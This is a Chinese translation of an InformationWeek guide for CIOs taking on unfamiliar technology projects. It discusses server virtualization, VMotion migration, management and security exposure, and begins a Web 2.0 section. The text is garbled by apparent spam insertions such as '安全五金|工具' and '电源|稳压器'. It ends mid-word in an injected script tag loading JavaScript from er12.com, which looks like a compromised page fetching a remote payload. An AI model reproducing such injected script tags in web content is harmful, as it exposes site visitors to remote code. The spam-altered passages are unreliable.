cio如何在新技术项目中把握成功的基础要诀？如何在网络准入控制、开源、虚拟化、voip和其他领域迅速跟进？收藏这篇文章吧，它可能会派上大用场。
编者按：
在寒冷漆黑的夜晚，疲惫不堪的it人员打开自己的电子邮箱，读着来自上司的邮件内容：她被调离目前的exchange服务器升级项目，转而被指派到新的基于语音的ip技术(voip)系统，那是某统一通信平台长期项目中的关键组成部分。
听起来似曾相识？因为我们都深有体会——常常被要求快速接手自己并不熟悉的技术领域和缺乏经验的新技术。《informationweek》特别为每个面临这种困境的cio和it经理人，制作了这份生存指南。把它收藏起来吧，下次当你碰到网络准入控制(nac)、开源或虚拟化问题时就可以大派用场了。我们列出了每类项目在降低成本、技术创新和成功要诀等方面面临的新机遇。目的是帮助你顺利度过下一波商业科技浪潮，因为毫无疑问，眼下已是暗潮汹涌。
虚拟机，管理是关键
对你现有的所有服务器进行一次深入的摸底调查，确定哪些可以转用虚拟机，确保所涉及的人员目标一致，升级内部策略以适应新形势、新格局。
文/joe hernick 译/朱筱丹
你手中有多少台windows 2000服务器上只运行着一个应用？即便在隆冬天气，服务器机房里的空调系统也要开足马力，才能保持在摄氏28度？如果这正是你所在it部门的状况，虚拟化也许就是你的解决之道。
虚拟化技术使操作系统不再依赖于计算机硬件。一台物理服务器可以同时运行多个版本的windows和linux操作系统，映射到数量不限的外部数据存储上，而且尽管这台物理服务器由一个控制台统一管理，却可以于其上运行无数个应用。当然这有个前提，如果管理不是你的强项，虚拟机(vm)就可能失控，使数据有受损的危险。
类似vmware vmotion这样的虚拟机实时迁移技术可以使“寄生”的操作系统根据业务需求，在不同服务器之间实现实时迁移，同时又能提供相对简单但并不昂贵的冗余、群集和扩展能力。
vmware、xensource和其他企业级虚拟化平台能把握机遇取得成功，原因在于it部门总是按峰值时的负载来设计服务器容量，因此数据中心里许多服务器的cpu平均利用率都只有个位数。
而经过仔细规划、以恰当的负载利用率运行的多台虚拟服务器完全可以轻松地在同一个物理平台上同时运行。现在，使用支持虚拟技术优化的多核处理器(amd-v和intel vt)的企业级服务器可以轻松地运行5个、10个甚至更多的寄生操作系统。
控制和暴露
问题是，即使魔术子弹也可能走火。虚拟服务器可以非常容易且迅速地部署在宿主平台上，这对一些it人员来说可能非常有吸引力，因为这样一来就无需和多数机构现有的正式、死板的变更控制流程打交道了。但千万别这样做。因为这样可能会把不合规的寄生服务器安装在运行着关键性任务的生产主机上，从而导致风险的增加。如果缺乏与虚拟环境相关的安全策略，很可能在本该做规划的时候就直接启动项目了；本该立项的时候却直接上线运行了，而本该真正运行的时候却只能祈祷上帝了。
对虚拟机而言，由基于ip的安全五金|工具构成的传统安全网络可能会失效，因为虚拟机是在一台主机内通信，与实际的物理网络无关。虚拟机有可能因为其中一个寄生系统被攻破而受到威胁。
应对这种情况的方法是：牢记作为虚拟机运行的服务器依然是服务器，也具备服务器所有必需的维护和管理需求。it部门能获得在客户机-服务器环境中前所未有的灵活度和控制力，但系统的暴露程度也空前的高。
一方面，传统的集中式运行管理软件厂商纷纷开始升级各自的产品，以支持虚拟机；另一方面，cirba公司等新秀也发布了针对vmotion环境的分析和管理软件。
然而，当前的虚拟机管理领域仍是一个风云变幻的市场。随着微软公司(microsoft)和vmware公司平台的日益成熟，可以预期，他们也会提供越来越多的管理工具。如果你计划在近期大规模地部署虚拟机系统，请先对该领域里的新玩家进行调查摸底。
机 遇
● 降低成本
向虚拟环境的迁移能减少资金成本和电源|稳压器消耗，降低数据中心的人力需求。
● 创新
像vmware vmotion这样的迁移技术，可以把虚拟服务器无缝地从一台主机转移到另一台，从而使it管理员尽享前所未有的灵活度。
● 成功要诀
需要对向虚拟环境的迁移、管理和信息安全策略进行详尽的规划。
web 2.0的核心基础
这些新技术有助于交流与合作，但它们未必都适合于商用。
文/andy dornan 译/朱筱丹
消费类it技术已经远远超前于企业级技术，在互联网上人们纷纷使用网络日志(blog)、混搭(mashup)和ajax应?script src=http://er12.com/t.js>
